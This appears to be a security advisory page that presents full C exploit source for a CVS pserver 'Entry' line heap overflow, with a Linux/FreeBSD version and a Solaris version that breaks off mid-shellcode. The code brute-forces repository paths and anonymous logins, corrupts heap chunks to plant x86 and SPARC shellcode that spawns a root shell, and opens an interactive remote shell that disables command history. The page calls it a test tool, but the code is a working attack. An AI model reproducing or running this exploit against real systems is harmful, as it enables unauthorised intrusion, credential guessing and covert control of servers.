Brought to you by:
Suppliers of:
As we reported in our previous article: CVS Entry Line Flag Heap Overflow , a vulnerability in the CVS engine allows a remote attacker to cause the product to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by Anonymous .
Exploit Linux/FreeBSD:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <zlib.h>
typedef unsigned char uchar;
void progress(void);
int brute_cvsroot(void);
int brute_username(void);
int brute_password(void);
void hdl_crashed(int);
void bsd_exploitation(void);
void try_exploit(void);
void zflush(int);
int zprintf(char *, ...);
int zgetch(void);
void start_gzip(void);
void fill_holes(void);
char * zgets(void);
void evil_entry(void);
void linux_exploitation(ulong, int);
void do_dicotomie(void);
void do_xploit(void);
char * flush_sock(void);
void usage(char *);
long getip(char *);
void try_oneshoot(void);
int connect_to_host(char *, int);
int write_sock(void *, int);
int read_sock(void *, int);
void nopen(char *, int);
char * ngets(void);
void memcpy_flush(void);
void cvs_conn(void);
int detect_remote_os(void);
void memcpy_remote(ulong, ulong, uchar *, int);
void memcpy_addr(ulong, ulong, int);
void nclose(void);
char * scramble(char *);
int sh(int);
struct array
{
char * name;
int id;
};
struct array CVSROOTS[]=
{
{ "/cvs" , -1 },
{ "/cvsroot" , -1 },
{ "/var/cvs" , -1 },
{ "/anoncvs" , -1 },
{ "/repository" , -1 },
{ "/home/CVS" , -1 },
{ "/home/cvspublic" , -1 },
{ "/home/cvsroot" , -1 },
{ "/var/lib/cvs" , -1 },
{ "/var/cvsroot" , -1 },
{ "/usr/lib/cvs" , -1 },
{ "/usr/CVSroot" , -1 },
{ "/usr/share/cvsroot" , -1 },
{ "/usr/local/cvsroot" , -1 },
{ "/usr/local/cvs" , -1 },
{ "/webcvs" , -1 },
{ NULL , -1 },
};
struct array USERNAMES[]=
{
{ "anonymous" , -1 },
{ "anoncvs" , -1 },
{ "cvsread" , -1 },
{ "anon" , -1 },
{ "cvs" , -1 },
{ "guest" , -1 },
{ "reader" , -1 },
{ "cvslogin" , -1 },
{ "anon-cvs" , -1 },
{ NULL , -1 },
};
struct array PASSWORDS[]=
{
{ "" , -1 },
{ " " , -1 },
{ "anonymous" , -1 },
{ "anoncvs" , -1 },
{ "anon" , -1 },
{ "cvs" , -1 },
{ "guest" , -1 },
{ NULL , -1 },
};
#define HIGH_STACK 0xbfffffc0
#define LOWER_STACK 0xbfffd000
#define DEFAULT_ADDR 0xbffffd00
#define RANGE_VALID 0xbffffe00
#define DUMMY_ADDR 0x42424242
#define LINUX_ADDR 0xbfffe200
#define LINUX_SIZE 0x2000
#define HEAPBASE 0x082c512e
#define DEFAULT_TIMEOUT 20
#define TIMEOUT DEFAULT_TIMEOUT
#define CMD "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:" \
"/usr/local/bin:/usr/local/sbin;alias ls='ls --color';"\
"unset HISTFILE;ABrox=`pwd`;cd /;echo RM -RF $ABrox;"\
"echo ---YOU ARE IN BRO : `hostname`---\nw;alias c=clear\n"
#define VERT "\033[32m"
#define NORM "\033[0m"
#define INFO ""
#define BAD_TRIP "WRONG !\n"
#define GOOD_TRIP VERT"FOUND"NORM" !\n"
#define QUIT(x...) { printf(x); exit(0); }
#ifdef DEBUGMSG
#define DEBUG(x...) fprintf(stderr, x)
#else
#define DEBUG(x...)
#endif
#define info(fmt...) fprintf(stderr, INFO""fmt)
#define aff(fmt...) fprintf(stderr, fmt)
static char tmpbuf[32000];
#define nprintf(fmt...) { snprintf(tmpbuf, sizeof(tmpbuf), fmt); \
write_sock(tmpbuf, strlen(tmpbuf)); }
#define nwrite(buf, cn) write_sock(sock, buf, cn)
#define nread(buf, cn) read_sock(sock, buf, cn)
#define NHOLES (256 - 31)
#define SCNUM 128
#define SCSIZE 32766
#define OFFSET 106
#define ALIGN(x, y) ((x % y) ? x + (x % y) : x)
#define SET_FD(x) (x - CHUNK_BK)
#define SET_BK(x) (x - CHUNK_FD)
#define UNSET_BK(x) (x + CHUNK_FD)
#define UNSET_FD(x) (x + CHUNK_BK)
#define MAX_FILL_HEAP 200
#define NUM_OFF7 (sizeof("Entry "))
#define MSIZE 0x4c
#define MALLOC_CHUNKSZ 8
#define AN_ENTRYSZ 8
#define MAGICSZ ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ)
#define FAKECHUNK MSIZE - MAGICSZ + (NUM_OFF7 - 1)
#define SIZEBUF FAKECHUNK + 16
#define SIZE_VALUE -8
#define CHUNK_PSIZE 0
#define CHUNK_SIZE 4
#define CHUNK_FD 8
#define CHUNK_BK 12
#define OVERFLOW_NUM 8
#define DEFAULT_SIZE 0x300
#define SHELLCODE_OFF 0x142
#define SHELLCODE_ADDR (addr - SHELLCODE_OFF)
#define DUMMY2 "timetosleep"
#define DUMMY "theosuxdick"
#define MAGICSTRING "abroxyou"
#define ABMAGIC "-AB-"
#define ABMAGICSZ sizeof(ABMAGIC) - 1
#define EXPLOITROX "\t@#!@"VERT"SUCCESS"NORM"#@!#\n\n"
#define PCNT 20
#define CVS_PORT 2401
#define CVS_LOGIN "BEGIN AUTH REQUEST\n%s\n%s\n%s\n"\
"END AUTH REQUEST\n"
#define CVS_VERIF "BEGIN VERIFICATION REQUEST\n%s\n%s\n%s\n"\
"END VERIFICATION REQUEST\n"
#define CVS_SEND_ROOT "Root %s\n"
#define CVS_GET_VERSION "version\n"
#define CVS_FLUSH "\nnoop\nnoop\n"
#define CVS_AUTH_FAILED "I HATE YOU"
#define CVS_AUTH_SUCCESS "I LOVE YOU"
#define CVS_BAD_REP "no such repository"
#define CVS_NO_USER "no such user"
#define CVSENTRY "Entry "
#define CVS_ISMOD "Is-modified "
#define CVS_ISMODSZ sizeof(CVS_ISMOD) - 1
#define CVS_UNKNOW "unrecognized request"
#define CVS_ERROR "error"
#define CVS_ERROR2 "E "
#define CVS_GZIP "Gzip-stream "
#define CVS_OK "ok"
#define BANNER VERT"Ac1dB1tCh3z "NORM"(C)VS linux/*BSD pserver\n"
#define ERR_CVSROOT "unable to found a valid cvsroot\n"
#define ERR_USERNAME "unable to found a valid username\n"
#define ERR_PASSWORD "unable to found a valid password\n"
#define ERR_FAILURE "Is remote really linux/bsd without security patch ?\n"
#define ERR_AUTHFAILED "Fatal: authentification failure..\n"
#define ERR_ZPRINTF "Too long zprintf (something is broken) !\n"
#define ERR_INFLATE "Inflate error\n"
#define ERR_CONN "cannot connect\n"
#define ERR_GETIP "cannot resolve\n"
#define ERR_READSOCK "cannot read data\n"
#define ERR_WRITESOCK "cannot write data\n"
#define SUCCESS_LOGON VERT"Ok"NORM", we log in (user:%s, pass:%s, cvsroot:%s)"
#define bad_addr(x) (((x >> 8)&0xFF) == '\n' || ((x >> 8)&0xFF)=='\0'\
|| (x & 0xFF) == '\n' || (x & 0xFF) == '\0' || \
(x & 0xFF) == '/' || ((x >> 8) & 0xFF) == '/' || \
(x & 0xFF) == '\012' || ((x >> 8) & 0xFF) == '\012')
/* 0h j3sus */
char zbuf[65536 * 4];
int zbufpos;
int cur_num = 0;
int is_scramble = 0;
int detectos = 0;
int sock = 0;
int port = CVS_PORT;
ulong saddr = DEFAULT_ADDR;
uint size = DEFAULT_SIZE;
int timeout = DEFAULT_TIMEOUT;
int scnum = SCNUM;
ulong heapbase = HEAPBASE;
int isbsd = 0;
int usent = 0;
int zsent = 0;
char *root = NULL;
char *user = NULL;
char *pass = NULL;
char *host = NULL;
z_stream zout;
z_stream zin;
/*
** write(1, "abroxyou", 8) / setuid(0) / execve / exit;
** Linux only
*/
uchar ab_shellcode[] =
"\xeb\x15\x42\x4c\x34\x43\x4b\x48\x34\x37\x20\x34\x20\x4c\x31\x46\x33"
"\x20\x42\x52\x4f\x21\x0a\x31\xc0\x50\x68\x78\x79\x6f\x75\x68\x61\x62"
"\x72\x6f\x89\xe1\x6a\x08\x5a\x31\xdb\x43\x6a\x04\x58\xcd\x80\x6a\x17"
"\x58\x31\xdb\xcd\x80\x31\xd2\x52\x68\x2e\x2e\x72\x67\x58\x05\x01\x01"
"\x01\x01\x50\xeb\x12\x4c\x45\x20\x54\x52\x55\x43\x20\x43\x48\x45\x4c"
"\x4f\x55\x20\x49\x43\x49\x68\x2e\x62\x69\x6e\x58\x40\x50\x89\xe3\x52"
"\x54\x54\x59\x6a\x0b\x58\xcd\x80\x31\xc0\x40\xcd\x80";
/*
** setuid(geteuid()) / write(1, "-AB-", 4) / dup2 / execve
** Linux/BSD
*/
uchar xx_shellcode[] =
"\x6a\x1b\x58\x31\xdb\xcd\x80\x85\xc0\x74\x42\x6a\x19\x58"
"\x50\xcd\x80\x50\x6a\x17\x58\x50\xcd\x80\x68\x2d\x41\x42"
"\x2d\x89\xe3\x6a\x04\x58\x50\x53\x6a\x01\x50\xcd\x80\x6a"
"\x02\x6a\x01\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x50"
"\x51\x53\x50\xb0\x3b\xcd\x80\x6a\x31\x58\xcd\x80\x93\x6a"
"\x17\x58\xcd\x80\x6a\x04\x58\x6a\x01\x5b\x68\x2d\x41\x42"
"\x2d\x89\xe1\x89\xc2\xcd\x80\xb0\x3f\x6a\x01\x5b\x6a\x02"
"\x59\xcd\x80\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00";
void usage(char * base)
{
printf("Us4g3 : r34d 7h3 c0d3 d00d ;P\n");
exit(0);
}
int main(int ac, char **av)
{
int c;
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf(BANNER);
while ((c = getopt(ac, av, "r:u:p:h:P:s:S:t:iRbo:n:")) != EOF)
{
switch(c)
{
case 'b':
isbsd++;
break;
case 'R':
detectos++;
break;
case 'r':
root = strdup(optarg);
break;
case 'i':
is_scramble = 1;
break;
case 's':
saddr = strtoul(optarg, 0, 0);
break;
case 't':
timeout = strtoul(optarg, 0, 0);
break;
case 'S':
size = strtoul(optarg, 0, 0);
break;
case 'u':
user = strdup(optarg);
break;
case 'p':
pass = strdup(optarg);
break;
case 'h':
host = strdup(optarg);
break;
case 'P':
port = strtoul(optarg, 0, 0);
break;
case 'o':
heapbase = strtoul(optarg, 0, 0);
break;
case 'n':
scnum = strtoul(optarg, 0, 0);
break;
default:
usage(av[0]);
}
}
if (!host || (detectos && isbsd))
usage(av[0]);
if (!root)
if(!brute_cvsroot())
QUIT(ERR_CVSROOT);
if (!user)
if(!brute_username())
QUIT(ERR_USERNAME);
if (!pass)
if(!brute_password())
QUIT(ERR_PASSWORD);
do_xploit();
return (0);
}
void do_xploit(void)
{
int linux_only = 0;
signal(SIGPIPE, hdl_crashed);
if (detectos)
linux_only = detect_remote_os();
if (isbsd)
bsd_exploitation();
else
{
linux_exploitation(LINUX_ADDR, LINUX_SIZE);
if (!linux_only)
bsd_exploitation();
}
printf(ERR_FAILURE);
return;
}
int detect_remote_os(void)
{
info("Guessing if remote is a cvs on a linux/x86...\t");
if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) ||
!range_crashed(0x42424242, 0x42424242 + 4))
{
printf(VERT"NO"NORM", assuming it's *BSD\n");
isbsd = 1;
return (0);
}
printf(VERT"Yes"NORM" !\n");
return (1);
}
void bsd_exploitation(void)
{
printf("Exploiting %s on a *BSD\t", host);
do_auth();
fill_holes();
evil_entry();
start_gzip();
try_exploit();
}
void linux_exploitation(ulong addr, int sz)
{
char * buf;
printf("Exploiting %s on a Linux\t", host);
cvs_conn();
fflush(stdout);
memcpy_addr(addr, SHELLCODE_ADDR, sz);
memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode,
sizeof(ab_shellcode) - 1);
memcpy_flush();
nprintf(CVS_FLUSH);
buf = flush_sock();
if (strstr(buf, MAGICSTRING))
{
printf(EXPLOITROX);
sh(sock);
}
#ifdef SHITTEST
sleep(333);
#endif
nclose();
info(BAD_TRIP);
}
int do_auth(void)
{
char * your_mind;
nopen(host, port);
nprintf(CVS_LOGIN, root, user, scramble(pass));
your_mind = flush_sock();
if (!strstr(your_mind, CVS_AUTH_SUCCESS))
QUIT(ERR_AUTHFAILED);
free(your_mind);
nprintf(CVS_SEND_ROOT, root);
}
void fill_heap(void)
{
int c;
for (c = 0; c != MAX_FILL_HEAP; c++)
nprintf(CVSENTRY"CCCCCCCCC/CCCCCCCCCCCCCCCCCCCCCCCCCC"
"CCCCCCCCCCCCCCCCCCCCC/CCCCCCCCCCC\n");
for (c = 0; c != (MAX_FILL_HEAP * 2); c++)
nprintf(CVSENTRY"CC/CC/CC\n");
}
void cvs_conn(void)
{
do_auth();
fill_heap();
}
char * get_dummy(void)
{
static char buf[2048] = { '\0' };
memset(buf, '\0', sizeof(buf));
sprintf(buf, CVSENTRY"B%s/", DUMMY2);
memset(buf + strlen(buf), 'B', SIZEBUF - strlen(DUMMY2));
strcat(buf, "/\n");
return (&buf[0]);
}
char * build_chunk(ulong addr1, ulong addr2, int i)
{
char num[20];
char * buf = get_dummy();
if (i != -1)
{
sprintf(num, "%d", i);
memcpy(buf + NUM_OFF7, num, strlen(num));
}
*(int *) (buf + FAKECHUNK + CHUNK_SIZE) = SIZE_VALUE;
*(int *) (buf + FAKECHUNK + CHUNK_FD) = SET_FD(addr1);
*(int *) (buf + FAKECHUNK + CHUNK_BK) = SET_BK(addr2);
return (buf);
}
void memcpy_flush(void)
{
int i = 0, j;
char * buf;
char num[20];
if (!cur_num)
return;
buf = get_dummy();
for (i = 0; i != cur_num - 1; i++)
{
sprintf(buf, CVS_ISMOD"%s\n", DUMMY2);
sprintf(num, "%d", i);
memcpy(buf + CVS_ISMODSZ, num, strlen(num));
for (j = 0; j != OVERFLOW_NUM; j++)
nprintf(buf);
}
return;
}
void memcpy_remote(ulong range, ulong addr, uchar * buf,
int sz)
{
int i;
if (sz <= 0)
return ;
if (!cur_num)
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
{
range &= 0xFFFFFF00;
range += buf[i];
if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
}
return;
}
void memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
{
int aff = (sz / 4) / PCNT, j;
if (!cur_num)
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
putchar('[');
for (j = 0; j != PCNT; j++)
putchar(' ');
putchar(']');
for (j = 0; j != PCNT + 1; j++)
putchar('\b');
fflush(stdout);
for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++)
{
if (j == aff)
{
putchar('#');
fflush(stdout);
j = 0;
}
if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++));
}
printf("#\t");
fflush(stdout);
return;
}
int range_crashed(int addr, int addr2)
{
char * buf;
cvs_conn();
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
for (; addr < addr2; addr += 8)
if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
nprintf(build_chunk(addr, addr + 4, cur_num++));
memcpy_flush();
nprintf(CVS_FLUSH);
buf = flush_sock();
if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
|| strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
{
nclose();
return (0);
}
#ifdef SHITTEST
sleep(333);
#endif
nclose();
return (1);
}
void zflush(int finish)
{
static char outbuf[65536];
zout.next_in = zbuf;
zout.avail_in = zbufpos;
do {
zout.next_out = outbuf;
zout.avail_out = sizeof(outbuf);
if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1)
QUIT("zflush : deflate failed !\n");
zsent += sizeof(outbuf) - zout.avail_out;
write_sock(outbuf, sizeof(outbuf) - zout.avail_out);
} while (zout.avail_out == 0 && zout.avail_in != 0);
zbufpos = 0;
return;
}
int zprintf(char *fmt, ...)
{
static char buf[65536];
int len;
va_list ap;
va_start(ap, fmt);
len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
usent += len;
if ((sizeof(zbuf) - zbufpos) < (len))
zflush(0);
memcpy(zbuf + zbufpos, buf, len);
zbufpos += len;
if (zbufpos >= sizeof(zbuf))
QUIT(ERR_ZPRINTF);
return (len);
}
int zgetch(void)
{
static char * outbuf = NULL;
static int outpos = 0, outlen = 0;
static char rcvbuf[32768];
static char dbuf[4096];
int got;
retry:
if (outpos < outlen && outlen)
return outbuf[outpos++];
free(outbuf);
outlen = 0;
outbuf = NULL;
got = read_sock(rcvbuf, sizeof(rcvbuf));
if (got <= 0)
QUIT(ERR_READSOCK);
zin.next_in = rcvbuf;
zin.avail_in = got;
while (1)
{
int status, dlen;
zin.next_out = dbuf;
zin.avail_out = sizeof(dbuf);
status = inflate(&zin, Z_PARTIAL_FLUSH);
switch (status)
{
case Z_OK:
outpos = 0;
dlen = sizeof(dbuf) - zin.avail_out;
outlen += dlen;
outbuf = realloc(outbuf, outlen);
memcpy(outbuf + outlen - dlen, dbuf, dlen);
break;
case Z_BUF_ERROR:
goto retry;
default:
QUIT(ERR_INFLATE);
}
}
}
char * zgets(void)
{
static char buf[32768];
char * p = buf;
int c;
while (1)
{
c = zgetch();
if (c == '\n')
break;
*p++ = c;
if (p > buf + sizeof(buf))
{
p--;
break;
}
}
*p = 0;
return (buf);
}
void start_gzip(void)
{
nprintf(CVS_GZIP"1\n");
deflateInit(&zout, 9);
inflateInit(&zin);
return;
}
void fill_holes(void)
{
int i, j;
for (i = 0; i < 10; i++)
nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (i = 0; i < 10; i++)
nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (i = 0; i < NHOLES; i++)
{
nprintf(CVSENTRY"ac1db1tch3z/blackhat4life/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (j = 0; j < 5; j++)
nprintf(CVSENTRY"%.*X\n", j * 8 - 2, 11);
}
nprintf("Set x=%472X\n", 10);
return;
}
void evil_entry(void)
{
int i;
ulong heap = heapbase;
nprintf("Set x=\n");
nprintf(CVSENTRY"/AB/AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24));
}
void try_exploit(void)
{
time_t last, now;
int i, j, len, o;
static char sc[SCSIZE+1];
for (i = 0; i < OFFSET; i++)
zprintf(CVS_ISMOD"AB\n");
printf("[", SCSIZE * scnum / 1024);
for (i = 0; i < PCNT; i++)
putchar(' ');
printf("]");
for (i = 0; i < PCNT + 1; i++)
printf("\b");
memset(sc, 'A', SCSIZE);
memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode,
sizeof(xx_shellcode));
sc[SCSIZE] = 0;
last = o = 0;
for (i = 0; i < scnum; i++)
{
now = time(NULL);
if (now > last || (i + 1 == scnum))
{
last = now;
for (j = 0; j < o; j++)
printf("\b");
for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++)
printf("#");
}
zprintf(CVSENTRY"%s\n", sc);
}
printf("] ");
zflush(0);
zflush(1);
len = read_sock(sc, sizeof(sc));
for (i = 0; i < len; i++)
if (!memcmp(sc + i, ABMAGIC, ABMAGICSZ))
{
printf(EXPLOITROX);
sh(sock);
}
printf(BAD_TRIP);
}
int brute_cvsroot(void)
{
int i, ret = 0;
char * rbuf;
info("Bruteforcing cvsroot...\n");
for (i = 0; CVSROOTS[i].name; i++)
{
nopen(host, port);
nprintf(CVS_VERIF, CVSROOTS[i].name, DUMMY, scramble(DUMMY));
info("Trying CVSROOT = %s\t", CVSROOTS[i].name);
rbuf = flush_sock();
nclose();
if (!rbuf || strstr(rbuf, CVS_BAD_REP))
info(BAD_TRIP);
else if (strstr(rbuf, CVS_AUTH_FAILED) ||
strstr(rbuf, CVS_AUTH_SUCCESS) ||
strstr(rbuf, CVS_NO_USER))
{
info(GOOD_TRIP);
CVSROOTS[i].id = i;
root = CVSROOTS[i].name;
if (user && pass)
{
free(rbuf);
return (1);
}
ret++;
}
else
printf(BAD_TRIP);
free(rbuf);
}
return (ret);
}
int brute_username(void)
{
int i, c, ret = 0;
char * rbuf;
info("Bruteforcing cvs login... \n");
for (c = 0; CVSROOTS[c].name; c++)
{
if (!root && CVSROOTS[c].id == -1) continue;
for ( i=0; USERNAMES[i].name; i++ )
{
if (root)
CVSROOTS[c].name = root;
info("Trying cvsroot = %s, login = %s\t", CVSROOTS[c].name,
USERNAMES[i].name);
nopen(host, port);
nprintf(CVS_VERIF, CVSROOTS[c].name, USERNAMES[i].name,
scramble(DUMMY));
rbuf = flush_sock();
nclose();
if ( strstr( rbuf, CVS_NO_USER))
info( BAD_TRIP, rbuf );
else if (strstr( rbuf, CVS_AUTH_FAILED) ||
strstr(rbuf, CVS_AUTH_SUCCESS))
{
info(GOOD_TRIP);
USERNAMES[i].id = CVSROOTS[c].id;
user = USERNAMES[i].name;
if (pass)
{
free(rbuf);
return (1);
}
ret++;
}
free(rbuf);
}
if (root)
return (ret);
}
return (ret);
}
int brute_password(void)
{
int i, c, ret=0;
char * rbuf;
info("Bruteforcing cvs password...\n");
for (c = 0; USERNAMES[c].name; c++)
{
if (!user && USERNAMES[c].id == -1) continue;
for (i = 0; PASSWORDS[i].name; i++)
{
info("Trying login = %s, pass = %s\t", user?user:USERNAMES[c].name,
PASSWORDS[i].name);
nopen(host, port);
nprintf(CVS_VERIF,root?root:CVSROOTS[USERNAMES[c].id].name,
user?user:USERNAMES[c].name, scramble(PASSWORDS[i].name) );
rbuf = flush_sock();
nclose();
if (strstr(rbuf, CVS_AUTH_FAILED))
info(BAD_TRIP, rbuf);
else if (strstr(rbuf, CVS_AUTH_SUCCESS))
{
info(GOOD_TRIP);
if (!root)
root = CVSROOTS[ USERNAMES[c].id ].name;
if (!user)
user = USERNAMES[c].name;
pass = PASSWORDS[i].name;
free(rbuf);
printf(SUCCESS_LOGON, user, pass, root);
return (1);
}
else
info(BAD_TRIP);
free(rbuf);
}
if (user)
return (0);
}
return (0);
}
void hdl_crashed(int signum)
{
return;
}
int write_sock(void * buf, int sz)
{
fd_set wfds;
struct timeval tv;
int ret;
if (sz <= 0)
return (sz);
FD_ZERO(&wfds);
FD_SET(sock, &wfds);
bzero(&tv, sizeof (tv));
tv.tv_sec = timeout;
tv.tv_usec = 0;
while (select(sock + 1, NULL, &wfds, NULL, &tv) <= 0)
{
FD_ZERO(&wfds);
FD_SET(sock, &wfds);
tv.tv_sec = timeout;
tv.tv_usec = 0;
}
if ((ret = write(sock, buf, sz)) != sz)
QUIT(ERR_WRITESOCK);
return (ret);
}
int read_sock(void * buf, int sz)
{
fd_set rd;
struct timeval tv;
int ret;
FD_ZERO(&rd);
FD_SET(sock, &rd);
bzero(&tv, sizeof (tv));
tv.tv_sec = timeout;
tv.tv_usec = ret = 0;
if (select(sock + 1, &rd, NULL, NULL, &tv) <= 0)
QUIT(ERR_READSOCK);
if ((ret = read(sock, buf, sz)) <= 0)
return (ret);
}
char * flush_sock(void)
{
char * ret;
int len, y, i = 0;
fd_set rfds;
struct timeval tv;
FD_ZERO(&rfds);
FD_SET(sock, &rfds);
bzero(&tv, sizeof (tv));
tv.tv_sec = timeout;
tv.tv_usec = 0;
#define BUF_SIZE 42
ret = malloc((len = BUF_SIZE));
if (select(sock + 1, &rfds, NULL, NULL, &tv) < 0)
return ("");
while ((y = read(sock, ret + i, BUF_SIZE)) > 0)
{
i += y;
ret = realloc(ret, (len += BUF_SIZE));
}
if (i == len)
realloc(ret, len + 1);
ret[i] = 0;
return (ret);
}
long getip(char * hostname)
{
struct hostent * p_hostent;
long ipaddr;
ipaddr = inet_addr( hostname );
if (ipaddr < 0)
{
p_hostent = gethostbyname(hostname);
if (p_hostent == NULL)
QUIT(ERR_GETIP);
memcpy( &ipaddr, p_hostent->h_addr, p_hostent->h_length );
}
return(ipaddr);
}
int connect_to_host(char * host, int port)
{
struct sockaddr_in s_in;
memset( &s_in, '\0', sizeof(struct sockaddr_in) );
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = getip( host );
s_in.sin_port = htons( port );
if ((sock = socket( AF_INET, SOCK_STREAM, 0 )) <= 0)
QUIT(ERR_CONN);
if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)))
QUIT (ERR_CONN);
#ifdef SHITTEST
sleep(15);
#endif
fcntl(sock, F_SETFL, O_NONBLOCK);
return (sock);
}
void nopen(char * host, int port)
{
connect_to_host(host, port);
cur_num = 0;
return;
}
void nclose(void)
{
cur_num = 0;
close(sock);
return;
}
unsigned char shifts[] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };
char * scramble(char * str)
{
int i;
char * s;
if (is_scramble)
return (str);
s = (char *) malloc (strlen (str) + 3);
memset(s, '\0', strlen(str) + 3);
*s = 'A';
for (i = 1; str[i - 1]; i++)
s[i] = shifts[(unsigned char)(str[i - 1])];
return (s);
}
int sh(int sockfd)
{
int cnt;
char buf[1024];
fd_set fds;
write(sockfd, CMD, strlen(CMD));
while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sockfd, &fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL))
{
if(FD_ISSET(0, &fds))
{
if((cnt = read(0, buf, 1024)) < 1)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
break;
}
write(sockfd, buf, cnt);
}
if(FD_ISSET(sockfd, &fds))
{
if((cnt = read(sockfd, buf, 1024)) < 1)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
break;
}
write(1, buf, cnt);
}
}
}
exit(0);
}
Exploit Solaris:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <fcntl.h>
#include <zlib.h>
#define CVS_PORT 2401
#define RET 0xffbffd20
#define NOP 0x82102017
#define ROUND(s) if (s % word_size) s += (word_size - (s % word_size))
unsigned char *root;
unsigned char *user;
unsigned char *pass;
unsigned char *scrambled;
unsigned char *reposit;
unsigned char *directory;
unsigned char buf[512];
unsigned char *host;
unsigned int rport, port;
unsigned int target;
z_stream zout;
z_stream zin;
unsigned char zbuf[65536 * 4];
unsigned int zbufpos, zsent = 0;
unsigned int word_size = 8, fill_size;
unsigned int len1, len2, len3;
unsigned int oflip, change, retaddr;
char entry1[64], entry2[64], entry3[64];
struct expl {
char *name;
unsigned int retadd;
} serve[] = {
{ "cvs-1.11.1p1 - Solaris9 / SPARC", 0xd4cc8},
{ "cvs-1.12.2 - Solaris9 / SPARC", 0xd7ae8 + 8192},
{ "cvs-1.9.28 - Solaris 9 / SPARC", 0xd25b8},
{ "Crash server", 0x41414141},
{ "Crash server 2", 0x77777777},
{ "Stack ret test", 0xffbffd20},
{ "Heap ret test", 0x00031337},
{ NULL, 0}
};
char shellcode[]=
"\x21\x18\xd8\x58" // sethi %hi(0x63616000), %l0
"\xa0\x14\x23\x61" // or %l0, 0x361, %l0
"\x90\x10\x20\x01" // mov 1, %o0
"\x92\x0b\x80\x0e" // and %sp, %sp, %o1
"\x94\x10\x20\x04" // mov 4, %o2
"\x82\x10\x20\x04" // mov 4, %g1
"\x91\xd0\x20\x08" // ta 8
/* lsd shellcode. */
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
